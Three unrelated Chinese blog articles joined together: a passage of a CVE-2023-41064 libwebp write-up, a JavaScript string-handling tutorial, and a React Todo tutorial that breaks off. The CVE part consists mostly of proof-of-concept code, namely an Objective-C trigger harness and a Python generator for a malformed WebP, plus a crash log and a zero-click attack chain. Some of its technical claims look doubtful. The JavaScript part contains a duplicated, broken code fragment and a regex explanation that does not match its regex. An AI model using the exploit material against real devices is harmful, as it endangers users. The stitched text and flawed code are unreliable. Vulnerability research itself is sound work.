CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);  // 漏洞触发点

优点:利用系统框架模拟真实应用(如Safari、Messages)的图像解析流程,无需手动链接libwebp。

2. 优化版PoC:增强调试与鲁棒性

以下是整合错误处理、ASan集成、日志系统的完整代码(CVE-2023-41064-PoC.m):

//
//  main.m
//  CVE-2023-41064
//
//  Created by 钟智强 on 2026/2/22.
//
#import <Foundation/Foundation.h>
#import <ImageIO/ImageIO.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString *path = [[NSBundle mainBundle] pathForResource:@"malicious" ofType:@"webp"];
        if (!path) {
            NSLog(@"[-] 错误:在 Bundle Resources 中未找到 malicious.webp。");
            return 0x1;
        }

        NSData *imageData = [NSData dataWithContentsOfFile:path];
        if (!imageData) {
            NSLog(@"[-] 错误:已找到路径,但无法读取文件。");
            return 0x1;
        }

        NSLog(@"[+] 成功:已从 Bundle 加载文件。");
        NSLog(@"[*] 正在尝试触发 CVE-2023-41064(libwebp 堆溢出)...");

        CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
        if (source) {
            CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);
            if (image) {
                NSLog(@"[+] 图像已解析。若应用未崩溃,说明您的系统可能已打补丁。");
                CFRelease(image);
            }
            CFRelease(source);
        }
    }
    return 0x0;
}

3. 恶意WebP生成脚本

构造触发漏洞的WebP文件(generate_malicious_webp.py):

import struct

# 生成一个畸形的 WebP 文件,用于触发 libwebp 的 Huffman 溢出
def generate_malicious_webp():
    # RIFF 头
    data = b'RIFF\x00\x00\x00\x00WEBPVP8L'
    # VP8L 无损分块,包含畸形的 Huffman 表
    # 该比特流旨在导致 libwebp 的越界写入
    content = b'\x2f\x00\x00\x00\x80\xff\xff\xff\xff\xff\x07'
    content += b'\x00' * 256  # 额外数据以确保溢出
    chunk_size = struct.pack('<I', len(content))
    full_file = data + chunk_size + content
    # 更新 RIFF 大小
    riff_size = struct.pack('<I', len(full_file) - 8)
    full_file = full_file[:4] + riff_size + full_file[8:]

    with open("malicious.webp", "wb") as f:
        f.write(full_file)

generate_malicious_webp()

4. Xcode项目配置(含ASan)

Makefile(开启ASan与调试符号)

CC = clang
FRAMEWORKS = -framework Foundation -framework ImageIO -framework CoreGraphics
CFLAGS = -g -O0 -fobjc-arc -Wall -fsanitize=address,undefined  # 开启ASan
TARGET = CVE-2023-41064-PoC

all: $(TARGET)

$(TARGET): CVE-2023-41064-PoC.m
$(CC) $(CFLAGS) $^ -o $@ $(FRAMEWORKS)

clean:
rm -f $(TARGET)

漏洞复现:ASan崩溃 vs 已修复环境

1. 易受攻击环境(macOS < 13.5.2,未打补丁)

ASan崩溃日志

==9923477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000028 at pc 0x7fff...
WRITE of size 1 at 0x603000000028 thread T0
    #0 0x7fff... in ReadHuffmanCodes libwebp.dylib  // 漏洞函数
    #1 0x7fff... in VP8LDecodeImage libwebp.dylib   // VP8L解码器
    #2 0x7fff... in WebPDecodeRGBAInto libwebp.dylib  // RGBA解码
    #3 0x7fff... in ImageIOWebPDecoder ImageIO.framework  // ImageIO调用栈
    #4 0x100003a4c in main CVE-2023-41064-PoC.m:58  // 触发点:CGImageSourceCreateImageAtIndex

关键信息:ASan捕获到 ReadHuffmanCodes 向堆外地址 0x603000000028 写入1字节,确认堆溢出。


2. 已修复环境(macOS 13.5.2+,苹果补丁)

苹果在 malloc.c 中增加了 码长边界校验

// 补丁核心:拒绝超长码
+ if (code_length > max_code_length) {
+   fprintf(stderr, "Invalid code length %d (max %d)\n", code_length, max_code_length);
+   return 0;  // 终止解析,避免溢出
+ }

表现:PoC运行时输出 [+] 图像解析成功,无崩溃,证明漏洞已修复。

五、攻击链定位:BLASTPASS/Pegasus的零点击利刃

该漏洞是 iMessage零点击攻击 的核心组件,攻击链如下:

  1. 投递阶段:攻击者通过iMessage发送含恶意WebP的附件(伪装成图片);
  2. 触发阶段:目标设备自动解析WebP(无需点击),调用ImageIO→libwebp→ReadHuffmanCodes
  3. 利用阶段:堆溢出覆盖函数指针,跳转到NSO Group的间谍软件(如Pegasus);
  4. 控制阶段:设备被完全控制,窃取数据、监控摄像头/麦克风。

技术特点

  • 零交互:用户仅收到消息即中招;
  • 高隐蔽:利用系统级图像处理模块,无沙箱逃逸;
  • 强杀伤:可绕过AMFI(Apple Mobile File Integrity)与代码签名。

六、加固建议:从开发到用户的多层防御

1. 开发者必做

  • 升级libwebp:至少1.3.2(官方补丁);
  • 输入校验:对WebP霍夫曼表参数(num_symbols、max_code_length)增加边界检查;
  • 模糊测试:用libFuzzer生成畸形WebP,持续测试解码器。

2. 终端用户防护

  • 开启Lockdown Mode(最强防御):

    路径:设置 → 隐私与安全性 → 锁定模式

    • 阻断不可信iMessage附件自动渲染;
    • 禁用复杂Web内容解析(含WebP)。
  • 禁用自动下载:设置→信息→关闭“自动下载附件”。

3. 企业防御策略

  • 端点检测:监控 CGImageSourceCreateImageAtIndex 异常返回值;
  • 流量清洗:网关拦截含异常霍夫曼表的WebP(如 code_length>15);
  • 内存保护:强制启用ASLR(地址空间布局随机化)。

七、结语:漏洞研究的永恒命题

CVE-2023-41064/4863揭示了现代攻击链的进化方向:利用基础库的单点缺陷,撬动整个生态系统。作为安全研究者,我们不仅要逆向漏洞机理,更需将成果转化为用户可操作的防护策略——锁定模式不是妥协,而是数字时代的生存智慧

免责声明:本文PoC仅用于授权测试与教育目的,未经授权的漏洞利用违反《计算机欺诈与滥用法》(CFAA)。

参考文献

  1. Apple Security Advisory HT213895
  2. Project Zero: CVE-2023-4863 Analysis
  3. Libwebp Official Patch

#苹果 #CVE20234863 #哪吒网络安全 #pegasus

字符串处理实战:模板字符串、split/join、正则的 80% 用法

前言

前端里接口参数拼接、搜索条件、富文本简单处理,几乎都绕不开字符串:拼 URL、拆 query替换/截断文案。很多人习惯用 + 拼到眼花,或者到处 indexOf/substring,写多了难维护也容易出 bug。
用**模板字符串split/join正则**这三类能力,可以把「替换/匹配」写得更短、更稳。本文用 10 个左右常见场景,把日常该怎么选、为什么这么选、容易踩的坑讲清楚,只讲 80% 会用到的部分,不求覆盖所有正则语法。

适合读者:

  • 会写 JS,但对模板字符串/正则什么时候用、怎么写有点模糊
  • 刚学 JS,希望一开始就养成清晰的字符串写法
  • 有经验的前端,想统一团队里的 URL 拼接、搜索条件、简单富文本处理

一、先搞清楚:模板字符串split/join正则分别在干什么

能力 在干什么 典型用法
模板字符串 `${} 把变量嵌进字符串,支持换行 URL、拼文案、多行字符串
split 按分隔符把字符串拆成数组 query 拆成键值对、按逗号/换行拆列表
join 把数组用分隔符拼成字符串 把参数数组拼成 query、把标签数组拼成文案
正则 按模式匹配、替换、提取 替换占位符、校验格式、简单富文本处理
// 传统 + 拼接:多参数时很难看
const url = baseUrl + '/api/user?id=' + id + '&name=' + encodeURIComponent(name);

// 模板字符串:一眼看出「URL 长什么样」
const url = `${baseUrl}/api/user?id=${id}&name=${encodeURIComponent(name)}`;

记住一点:能一眼看出「最终长什么样」就用模板字符串;要「按规则拆开或拼起来」就用 split/join;要「按模式匹配或替换」就用正则

二、模板字符串的常见用法

1. 接口 URLquery 拼接(模板字符串 + 一层编码)

应用场景

  • 你要调一个列表接口(比如商品列表、用户列表),需要把「搜索关键词」「页码」「每页显示多少条」这些信息拼在接口地址后面,比如拼出 ?keyword=张三&page=1&pageSize=10 这种格式。

先搞懂一个核心问题:为啥不能直接拼?

  • 就像咱们寄快递要写规范的地址(省 - 市 - 区 - 街道),URL(接口地址)也有自己的「书写规范」—— 有些字符(比如中文、空格、&、=)直接写进去,服务器会 “看不懂”,甚至理解错意思。

举个最直白的例子

你要搜「用户 输入」(关键词里有空格),如果直接拼地址:/api/list?keyword=用户 输入&page=1

服务器会把「空格」当成 “参数分隔符”,以为「keyword = 用户」是一个参数,「输入 & page=1」是另一个参数,直接解析错了!

const baseUrl = '/api/list'; // 接口基础地址
const params = {
  keyword: '用户 输入',  // 要搜索的关键词(有中文+空格,是“违规字符”)
  page: 1,              // 第1页
  pageSize: 10          // 每页显示10条
};

// ✅ 推荐写法:用 URLSearchParams 当“翻译官”(自动处理违规字符)
// 你可以把 URLSearchParams 理解成:专门处理URL参数的“小工具”
const query = new URLSearchParams({
  keyword: params.keyword,
  page: String(params.page),    // 这个小工具只认字符串,数字要转一下
  pageSize: String(params.pageSize),
}).toString(); // 把处理好的参数转成字符串

// 用模板字符串拼最终地址,结构一眼能看懂
const url = `${baseUrl}?${query}`;
console.log('自动处理后的地址:', url);
// 输出:/api/list?keyword=%E7%94%A8%E6%88%B7+%E8%BE%93%E5%85%A5&page=1&pageSize=10
// 你看:“用户 输入”被翻译成了 %E7%94%A8%E6%88%B7+%E8%BE%93%E5%85%A5,服务器能看懂了!

// ❌ 反面示例:直接拼(不翻译违规字符)—— 服务器看不懂
const badUrl1 = `${baseUrl}?keyword=${params.keyword}&page=${params.page}&pageSize=${params.pageSize}`;
console.log('直接拼的错误地址:', badUrl1);
// 输出:/api/list?keyword=用户 输入&page=1&pageSize=10(空格、中文没翻译,服务器解析错)

// ⚠️ 手动翻译写法(麻烦,容易漏):
// encodeURIComponent 就是“单个字符翻译器”,只能翻译一个参数值
const encodedKeyword = encodeURIComponent(params.keyword); // 只翻译关键词
const encodedPage = encodeURIComponent(params.page);       // 翻译页码
const encodedPageSize = encodeURIComponent(params.pageSize); // 翻译每页条数
const goodUrlByHand = `${baseUrl}?keyword=${encodedKeyword}&page=${encodedPage}&pageSize=${encodedPageSize}`;
console.log('手动翻译的正确地址:', goodUrlByHand);
// 输出和自动处理的一样,但要写3次 encodeURIComponent,参数多了容易漏!

更直观的表格说明

名词 小白版解释 什么时候用
encodeURIComponent 单个 URL 参数的 “翻译器”:把中文、空格这些服务器看不懂的字符,翻译成服务器能懂的 “编码”(比如把 “用户” 译成 % E7%94% A8% E6%88% B7 手动拼接 URL 参数时,给每个参数值单独翻译
URLSearchParams 批量处理 URL 参数的 “智能翻译机”:你把所有参数丢给它,它会自动调用 encodeURIComponent 给每个参数翻译,还能拼成规范的参数串 推荐优先用!不管参数多少,一次搞定,不翻车

关键注意点(小白必看)

  1. 只要参数里有中文空格&= 这些字符,就必须 “翻译”,否则接口会调失败 / 返回错误数据;
  2. URLSearchParams 是 “懒人神器”:不用记 encodeURIComponent 怎么写,不用怕漏翻译某个参数,丢进去就自动处理;
  3. 小细节:URLSearchParams 只认字符串,所以数字类型的参数(比如 page:1)要转成 String (page),否则会报错。

2. 搜索条件:有值才带参数(过滤掉空值再拼)

场景: 只有 keyword 有值才带 keyword,只有 status 有值才带 status,避免 ?keyword=&status= 这种无意义参数。

const baseUrl = '/api/search';
const search = {
  keyword: '张三',  // 有实际值
  status: '',       // 空值(无意义)
  type: '1',        // 有实际值
};

// 第一步:筛选出非空的参数(去掉空字符串、全空格、null/undefined)
// Object.entries:把对象拆成[key, value]的数组,方便批量检查
// filter:筛选器,只留满足条件的参数
// trim():去掉字符串前后空格(比如用户只输空格也算空值)
const filtered = Object.fromEntries(
  Object.entries(search).filter(([_, value]) => {
    // 条件:值不是null/undefined,且去掉空格后不是空字符串
    return value != null && String(value).trim() !== '';
  })
);

// 第二步:用URLSearchParams自动编码参数,转成query字符串
const query = new URLSearchParams(filtered).toString();

// 第三步:拼接最终URL(有参数加?,没参数直接用基础地址)
const url = query ? `${baseUrl}?${query}` : baseUrl;
// 最终结果:/api/search?keyword=%E5%BC%A0%E4%B8%89&type=1
// 对比:如果没过滤,会是 /api/search?keyword=%E5%BC%A0%E4%B8%89&status=&type=1(多了无用的status=)
);
const query = new URLSearchParams(filtered).toString();
const url = query ? `${baseUrl}?${query}` : baseUrl;
// /api/search?keyword=%E5%BC%A0%E4%B8%89&type=1

核心名词小白解释:

代码片段 通俗理解
Object.entries(search) {keyword:'张三', status:'', type:'1'}拆成[['keyword','张三'], ['status',''], ['type','1']],方便逐个检查值是否为空
Object.fromEntries(数组) 把筛选后的数组(比如[['keyword','张三'], ['type','1']])还原成对象{keyword:'张三', type:'1'}
value.trim() 去掉字符串前后的空格,比如' 张三 '变'张三',' '变空字符串(避免 “只输空格” 被当成有效值)
filter(...) 只保留 “非空” 的参数,把status:''这种空值过滤掉

适用: 列表筛选项、搜索表单、任何「按条件带参」的接口。


3. 多行字符串、拼文案(模板字符串天然支持换行)

场景: 弹窗文案、邮件正文、多行提示。

const userName = '李四';
const count = 3;

const message = `尊敬的 ${userName}:
您有 ${count} 条待处理消息,请及时查看。`;
// 换行、变量都保留,不用 \n 和 + 拼

三、split / join 的常见用法

1. 把 URL 上的 search 拆成对象(split + 一次遍历)

场景:?id=1&name=test 得到 { id: '1', name: 'test' }

const search = '?id=1&name=test';

// 推荐:直接用 URLSearchParams 解析(和上面「拼」对应)
const params = Object.fromEntries(new URLSearchParams(search));
// { id: '1', name: 'test' }

// 若不能用地道 API,再用 split
const params2 = search
  .replace(/^\?/, '')
  .split('&')
  .reduce((acc, pair) => {
    const [key, value] = pair.split('=');
    acc[decodeURIComponent(key)] = decodeURIComponent(value ?? '');
    return acc;
  }, {});

注意: 值里可能带 =,所以「按第一个 = 拆」更稳,这里用 split('=') 只适合简单 value;复杂 query 建议统一用 URLSearchParams


2. 把「逗号分隔的 id」拆成数组,再拼回去(split + join)

场景: 接口返回 ids: "1,2,3",要转成数组处理;提交时再拼成 "1,2,3"

const idsStr = '1,2,3';

const ids = idsStr.split(',').map((id) => id.trim()).filter(Boolean);
// ['1', '2', '3']

// 提交时再拼回去
const idsStrAgain = ids.join(',');
// '1,2,3'

注意: split(',') 后习惯加 .map(s => s.trim()).filter(Boolean),避免空串和前后空格。


3. 按换行拆成数组(split('\n'))

场景: 用户输入多行标签、多行关键词,一行一个。

const input = '  tag1  \ntag2\n  tag3  ';
const tags = input.split('\n').map((s) => s.trim()).filter(Boolean);
// ['tag1', 'tag2', 'tag3']

四、正则的 80% 用法(小白友好版:从基础到实战)

先搞懂:正则的 “基础积木”(小白版) 先记住这几个最常用的符号,就像搭积木一样,组合起来就能实现大部分匹配 / 替换需求:

符号 / 语法 小白版解释 举例子
/内容/ 正则的 “容器”,所有匹配规则都写在两个/之间 /abc/ 表示匹配字符串里的 abc
/内容/g g = global(全局),表示匹配所有符合规则的内容,不是只匹配第一个 'aaa'.replace(/a/g, 'b')bbb(不加 g 只替换第一个 a,变成 baa
\w 匹配「字母、数字、下划线」(简单记:匹配 “单词字符”) /\w+/能匹配 name123order_001
\d 匹配「单个数字」(0-9) /\d/匹配 5/\d\d/ 匹配88
+ 表示 “前面的规则至少出现 1 次” /\d+/ 匹配 1 个或多个数字(比如 1123
* 表示 “前面的规则出现 0 次或多次”(用得少,优先记+ /\d*/ 能匹配空字符串1123
{n} 表示 “前面的规则正好出现 n 次” /\d{10}/匹配正好 10 个数字
^ 匹配 “字符串的开头”(锚定开头) /^1/只匹配以 1开头的字符串(比如 1380000 能匹配,a138 不能)
$ 匹配 “字符串的结尾”(锚定结尾) /\d$/ 只匹配以数字结尾的字符串
[^>] [] 表示 “匹配其中任意一个字符”,^ [] 里表示 “排除” /[^>]+/匹配 “除了 > 之外的任意字符,至少 1 个”
() 捕获组:把匹配到的内容 “抓出来”,后续能用到 /\{(\w+)\}/ 里的 (\w+) 会把 {name} 里的 name 抓出来
有没有同学看不懂 /\{(\w+)\}/ 的?

看这里:

  • \ 是转义符:正则里想匹配 {} / [] / () 等特殊符号本身时,必须加\
  • /\{(\w+)\}/ 的核心是匹配 {xxx} 格式的字符串,其中:
    • \{ / \} 匹配普通的{}
    • (\w+) 抓出 {} 中间的字母 / 数字 / 下划线(比如 name);
  • 新手写正则时,只要想匹配 “特殊符号本身”,先加 \ 转义,就不会出错。

用法 1:占位符替换(把 {name} 换成真实值)

场景:服务端返回模板 " 您好,{name},您的订单{orderId}已发货 ",前端替换成当前用户和订单。 步骤拆解(小白能懂):

1. 规则/\{(\w+)\}/g 解析:

  • \{:匹配左大括号 {(因为 { 是正则特殊符号,要加\ 转义,告诉正则 “这就是普通的 {”);
  • (\w+):捕获组,匹配字母 / 数字 / 下划线(比如 nameorderId),并把匹配结果存起来;
  • \}:匹配右大括号 }
  • g:全局匹配,把所有 {xxx} 都找出来。

2. replace 回调函数:(_, key) => data[key] ?? ''

  • 第一个参数 _:表示整个匹配的内容(比如 {name}),用不到就用 _ 占位;
  • 第二个参数 key:就是捕获组 (\w+) 抓到的内容(比如 name);
  • data[key] ?? '':从 data 里取对应的值,没有就用空串填充。
const template = '您好,{name},您的订单{orderId}已发货';
const data = { name: '王五', orderId: 'ORD001' };

// 核心代码
const result = template.replace(/\{(\w+)\}/g, (_, key) => data[key] ?? '');
console.log(result); // 输出:'您好,王五,您的订单ORD001已发货'

// 小白试错:如果不加g,只会替换第一个占位符
const badResult = template.replace(/\{(\w+)\}/, (_, key) => data[key] ?? '');
console.log(badResult); // 输出:'您好,王五,您的订单{orderId}已发货'

用法 2:富文本简单处理:去掉 HTML 标签只留纯文本

**场景:**列表摘要只展示纯文本,需要把 <p>xxx</p> 里的 xxx 拿出来,或去掉所有标签。 规则 /<[^>]+>/g 解析

  • <:匹配左尖括号;
  • [^>]+:匹配 “除了>之外的任意字符,至少 1 个”(比如 pstrongdiv class="title");
  • >:匹配右尖括号;
  • g:全局替换,把所有标签都去掉。
const html = '<p>这是一段<strong>加粗</strong>的文字&nbsp;还有空格</p>';

// 第一步:去掉所有HTML标签
const textWithoutTag = html.replace(/<[^>]+>/g, '');
console.log(textWithoutTag); // 输出:'这是一段加粗的文字&nbsp;还有空格'

// 第二步:还原常见的HTML实体(比如&nbsp;换成空格)
const text = textWithoutTag
  .replace(/&nbsp;/g, ' ')  // 空格实体转空格
  .replace(/&lt;/g, '<')    // < 实体转 <
  .replace(/&gt;/g, '>');   // > 实体转 >
console.log(text); // 输出:'这是一段加粗的文字 还有空格'

⚠️ 重要提醒:这个规则只适合「简单、可控」的富文本(比如自己系统生成的短文本)。如果是复杂 HTML(比如带注释、<script>标签、属性里有>的),正则会失效,建议用 DOM 或专业库(如 cheerio)处理。

用法 3:富文本简单处理:限制摘要长度(截断 + 省略号)

场景:列表里摘要最多显示 20 个字符,超出用 ...。 (先去标签再截断,避免截到标签中间,比如把<p>这是一段很长的文字</p>截成 <p>这是一段很长的文,导致标签不闭合)

// 封装成通用函数,小白直接用
const getSummary = (html, maxLen = 20) => {
  // 第一步:先去标签和还原实体
  const pureText = html
    .replace(/<[^>]+>/g, '')
    .replace(/&nbsp;/g, ' ')
    .replace(/&lt;/g, '<')
    .replace(/&gt;/g, '>');
  // 第二步:判断长度,截断加省略号
  if (pureText.length > maxLen) {
    return pureText.slice(0, maxLen) + '...';
  }
  return pureText;
};

// 测试
const longHtml = '<div>这是一段非常非常长的富文本内容,需要截断显示</div>';
console.log(getSummary(longHtml, 10)); // 输出:'这是一段非常非常长...'

用法 4:简单格式校验(手机号、纯数字)

场景:表单里「手机号」「纯数字」的简单校验,用 正则.test(要校验的字符串),返回 true/false

1. 手机号校验

规则 /^1\d{10}$/ 解析:

  • ^:字符串开头;
  • 1:第一个字符必须是 1(手机号开头都是 1);
  • \d{10}:后面跟正好 10 个数字;
  • $:字符串结尾; → 整体表示:整个字符串必须是 “1 + 10 个数字”,长度正好 11 位。
// 封装手机号校验函数
const isPhoneValid = (phone) => {
  // 先排除空值、非字符串情况
  if (!phone || typeof phone !== 'string') return false;
  return /^1\d{10}$/.test(phone);
};

// 测试
console.log(isPhoneValid('13800138000')); // true(正确手机号)
console.log(isPhoneValid('1380013800'));  // false(只有10位)
console.log(isPhoneValid('12345678901')); // false(开头不是1)
console.log(isPhoneValid('1380013800a')); // false(包含字母)

2. 纯数字校验

规则 /^1\d{10}$/ 解析:

  • ^:开头;
  • \d+:至少 1 个数字;
  • \d{10}:后面跟正好 10 个数字;
  • $:结尾; → 整体表示:整个字符串只能是数字,不能有其他字符,且不能为空。
// 封装纯数字校验函数
const isPureNumber = (str) => {
  if (!str) return false; // 空串返回false
  return /^\d+$/.test(str);
};

// 测试
console.log(isPureNumber('12345')); // true
console.log(isPureNumber('123a5')); // false(含字母)
console.log(isPureNumber(''));      // false(空串)
console.log(isPureNumber('0'));     // true(单个0也符合)

用法总结

  1. 正则小白不用记所有语法,先掌握 /内容/g\w/\d+/{n}^/$() 这几个核心符号,就能搞定大部分场景;
  2. 正则的核心用法分 3 类:替换(replace)、校验(test)、提取(match),其中替换和校验是日常用得最多的;
  3. 写正则时,先拆解 “要匹配什么 / 排除什么”,再用基础符号组合,优先加 g(全局)、^/``$`(整串匹配)避免漏匹配 / 错匹配;
  4. 复杂 HTML 处理别用正则,优先用 DOM 或专业库,正则只适合简单片段。

五、容易踩的坑

1. 模板字符串里要算表达式,用 ${} 包起来

const a = 1, b = 2;
const wrong = `${a} + ${b} = a + b`;   // '1 + 2 = a + b'
const right = `${a} + ${b} = ${a + b}`; // '1 + 2 = 3'

2. query 里的中文、空格、特殊字符必须编码

const name = '张 三';
const bad = `/api?name=${name}`;  // 空格和中文会破坏 URL
const good = `/api?name=${encodeURIComponent(name)}`;
// 或统一用 URLSearchParams

3. split 不传参时按每个字符拆

'abc'.split();   // ['abc']
'abc'.split(''); // ['a','b','c']

要按「分隔符」拆就明确传参,例如 split(',')split('\n')


4. 空字符串 split 得到的是 ['']

''.split(',');   // ['']
''.split(',').filter(Boolean); // []

拼 query、拼列表前若可能为空,先判断或 filter(Boolean),避免出现 ?key= 或末尾多余逗号。


5. 正则「去标签」不能覆盖所有 HTML 情况

// 像 <div class="a"> 这种可以匹配
// 但 <script>...</script>、注释、属性里的 > 等,正则容易出错

仅用于「自己能控制的、结构简单的」富文本片段;其它用 DOM 或专业库。

六、实战推荐写法模板

接口 GET 参数拼接(带空值过滤):

const baseUrl = '/api/list';
const params = { keyword: '...', page: 1, pageSize: 10, status: '' };
const query = new URLSearchParams(
  Object.fromEntries(
    Object.entries(params).filter(([_, v]) => v != null && String(v).trim() !== '')
  )
).toString();
const url = query ? `${baseUrl}?${query}` : baseUrl;

从当前页 search 取参数:

const params = Object.fromEntries(new URLSearchParams(location.search));
const keyword = params.keyword ?? '';

逗号分隔字符串 ↔ 数组:

const toIds = (s) => (s ?? '').split(',').map((id) => id.trim()).filter(Boolean);
const toStr = (arr) => (arr ?? []).filter(Boolean).join(',');

简单占位符替换:

const fillTemplate = (template, data) =>
  template.replace(/\{(\w+)\}/g, (_, key) => data[key] ?? '');

富文本摘要(去标签 + 截断):

const toSummary = (html, maxLen = 20) => {
  const text = html.replace(/<[^>]+>/g, '').replace(/&nbsp;/g, ' ');
  return text.length > maxLen ? text.slice(0, maxLen) + '...' : text;
};

七、小结

场景 推荐写法
拼 URL、拼文案、多行字符串 模板字符串 `${base}?${query}`
拼/解析 query URLSearchParams + 模板字符串 或 split/reduce
有值才带参 filterURLSearchParams,再拼到 URL
逗号/换行拆成数组 split(',') / split('\n') + trim + filter(Boolean)
数组拼成字符串 join(',')
占位符替换 {key} replace(/\{(\w+)\}/g, (_, key) => data[key])
简单去 HTML 标签 replace(/<[^>]+>/g, '')(仅简单片段)
摘要截断 先去标签再 slice(0, len) + '...'
简单格式校验 /^1\d{10}$/.test(phone)

记住:拼用模板字符串 + URLSearchParams,拆用 split/URLSearchParams,替换/匹配用正则。日常写接口参数、搜索条件、简单富文本时,先想清楚是「拼、拆、还是替换/校验」,再选对应方式,代码会清晰很多,也少踩编码和空值的坑。

特别提醒:

  • query 里的中文和特殊字符一定要编码(URLSearchParamsencodeURIComponent)。
  • 空数组/空字符串在 split/join 时要考虑 filter(Boolean) 和「是否带问号」。
  • 正则只用于简单、可控的富文本;复杂 HTML 用 DOM 或专门库。

以上就是本次的学习分享,欢迎大家在评论区讨论指正,与大家共勉。

我是 Eugene,你的电子学友。

如果文章对你有帮助,别忘了点赞、收藏、加关注,你的认可是我持续输出的最大动力~

React组件通信实战:从Todo应用彻底搞懂父子、子父、兄弟通信

React组件通信实战:从Todo应用彻底搞懂父子、子父、兄弟通信

前言

刚接触React的同学一定对组件间的通信感到困惑:

  • 父组件怎么把数据传给子组件?(父→子
  • 子组件怎么通知父组件修改数据?(子→父
  • 没有直接关系的兄弟组件又该如何共享状态?(兄弟↔兄弟

别担心,今天我们就通过一个极简的Todo应用,把这些通信方式一次理清楚。你会学到:

  • React单向数据流到底是什么
  • props如何传递数据和函数
  • 状态提升如何解决兄弟通信
  • 最后,还会教你如何用 localStorage + useEffect 实现数据持久化,让Todo列表刷新后依然存在

项目代码简洁,但五脏俱全,非常适合初学者理解和上手。让我们开始吧!

项目初始化与技术栈

  • React + Vite(快速构建)
  • Stylus(CSS预处理器,本文重点不在样式)
  • 最后会用到 localStorage 做数据持久化

项目结构:

src/
  components/
    TodoInput.jsx    # 输入框组件
    TodoList.jsx     # 列表展示组件
    TodoStats.jsx    # 统计信息组件
  App.jsx            # 根组件,持有共享数据
  styles/
    app.styl

一、核心概念回顾:单向数据流与状态提升

在开始写代码前,我们先理解两个React最重要的概念:

1.1 单向数据流

React的数据是从父组件流向子组件的(通过props)。子组件不能直接修改收到的props,因为props是只读的。这保证了数据的可预测性——数据变化的原因一定来自组件自身(state)或父组件传递的新props。

1.2 状态提升

当多个组件需要共享同一份数据时,我们应该将这份数据提升到它们最近的共同父组件中,由父组件管理,然后通过props分发给子组件。子组件想修改数据,必须调用父组件传递的回调函数,由父组件真正修改数据。

这正是Todo应用的设计思想:todos数组作为共享状态,放在App组件中,三个子组件都通过props获取数据或回调。

二、完整代码(无持久化版本)

为了让大家先对整个项目有一个整体认识,我们先给出不包含持久化的完整代码。每个文件都包含了详细的注释,方便理解。

App.jsx

import { useState } from 'react';
import TodoList from './components/TodoList';
import TodoInput from './components/TodoInput';
import TodoStats from './components/TodoStats';

function App() {
  // 核心数据:todos 数组,包含所有任务
  const [todos, setTodos] = useState([]);

  // 添加任务
  const addTodo = (text) => {
    // 使用展开运算符创建新数组,保持不可变性
    setTodos([...todos, { id: Date.now(), text, completed: false }]);
  };

  // 删除任务
  const deleteTodo = (id) => {
    // filter 返回新数组,删除指定 id 的任务
    setTodos(todos.filter(todo => todo.id !== id));
  };

  // 切换任务完成状态
  const toggleTodo = (id) => {
    // map 返回新数组,切换指定任务的 completed 状态
    setTodos(todos.map(todo =>
      todo.id === id ? { ...todo, completed: !todo.completed } : todo
    ));
  };

  // 清除所有已完成任务
  const clearCompleted = () => {
    // filter 保留未完成的任务
    setTodos(todos.filter(todo => !todo.completed));
  };

  // 派生数据:从 todos 计算统计信息
  const activeCount = todos.filter(todo => !todo.completed).length;
  const completedCount = todos.filter(todo => todo.completed).length;

  return (
    <div className="todo-app">
      <h1>My Todo List</h1>
      {/* 子组件通过 props 接收数据和回调 */}
      <TodoInput onAdd={addTodo} />
      <TodoList
        todos={todos}
        onDelete={deleteTodo}
        onToggle={toggleTodo}
      />
      <TodoStats
        total={todos.length}
        active={activeCount}
        completed={completedCount}
        onClearCompleted={clearCompleted}
      />
    </div>
  );
}

export default App;

components/TodoInput.jsx

import { useState } from 'react';

const TodoInput = ({ onAdd }) => {
  // 内部状态:输入框的值(只属于这个组件,无需提升)
  const [inputValue, setInputValue] = useState('');

  const handleSubmit = (e) => {
    e.preventDefault();
    if (inputValue.trim()) {
      // 调用父组件传递的回调,将新任务文本传回去
      onAdd(inputValue);
      // 清空输入框
      setInputValue('');
    }
  };

  return (
    <form className="todo-input" onSubmit={handleSubmit}>
      <input
        type="text"
        value={inputValue}
        onChange={e => setInputValue(e.target.value)}
        placeholder="输入新任务..."
      />
      <button type="submit">添加</button>
    </form>
  );
};

export default TodoInput;

components/TodoList.jsx

const TodoList = ({ todos, onDelete, onToggle }) => {
  return (
    <ul className="todo-list">
      {todos.length === 0 ? (
        <li className="empty">暂无任务</li>
      ) : (
        todos.map(todo => (
          <li key={todo.id} className={todo.completed ? 'completed' : ''}>
            <label>
              <input
                type="checkbox"
                checked={todo.completed}
                onChange={() => onToggle(todo.id)} // 调用父组件回调
              />
              <span>{todo.text}</span>
            </label>
            <button onClick={() => onDelete(todo.id)}>X</button>
          </li>
        ))
      )}
    </ul>
  );
};

export default TodoList;

components/TodoStats.jsx

const TodoStats = ({ total, active, completed, onClearCompleted }) => {
  return (
    <div className="todo-stats">
      <p>总计: {total} | 待办: {active} | 已完成: {completed}</p>
      {completed > 0 && (
        <button onClick={onClearCompleted} className="clear-btn">
          清除已完成
        </button>
      )}
    </div>
  );
};

export default TodoStats;
  • 效果图

屏幕录制 2026-02-22 221410.gif 现在你已经看到了完整的项目代码。接下来,我们将分章节详细解释其中的核心知识点。

三、知识点深度解析

3.1 父子组件通信(父→子)

实现方式:父组件通过JSX属性向子组件传递任意类型的数据。

App.jsx中,我们可以看到多处父子通信的例子:

  • <TodoList todos={todos} />:将todos数组传递给TodoList组件。
  • <TodoStats total={todos.length} active={activeCount} completed={completedCount} />:将统计信息(数字)传递给TodoStats组件。

子组件通过props对象接收这些数据。例如在TodoList中:

const TodoList = ({ todos, onDelete, onToggle }) => { ... }

这里的{ todos }就是从父组件传递过来的数据。

特点

  • props是只读的,子组件不能修改它们。
  • 如果传递的是对象/数组,传递的是引用,子组件虽然不能直接赋值,但可以修改对象内部的属性(不推荐)。最佳实践是保持不可变。

3.2 子父组件通信(子→父)

子组件不能直接修改父组件的状态,但可以通过调用父组件通过props传递的函数来“请求”父组件修改状态。

App.jsx中,父组件定义了几个修改状态的方法:addTododeleteTodotoggleTodoclearCompleted。然后将这些方法通过props传递给子组件,通常以on开头命名。

例如,TodoInput接收onAdd

<TodoInput onAdd={addTodo} />

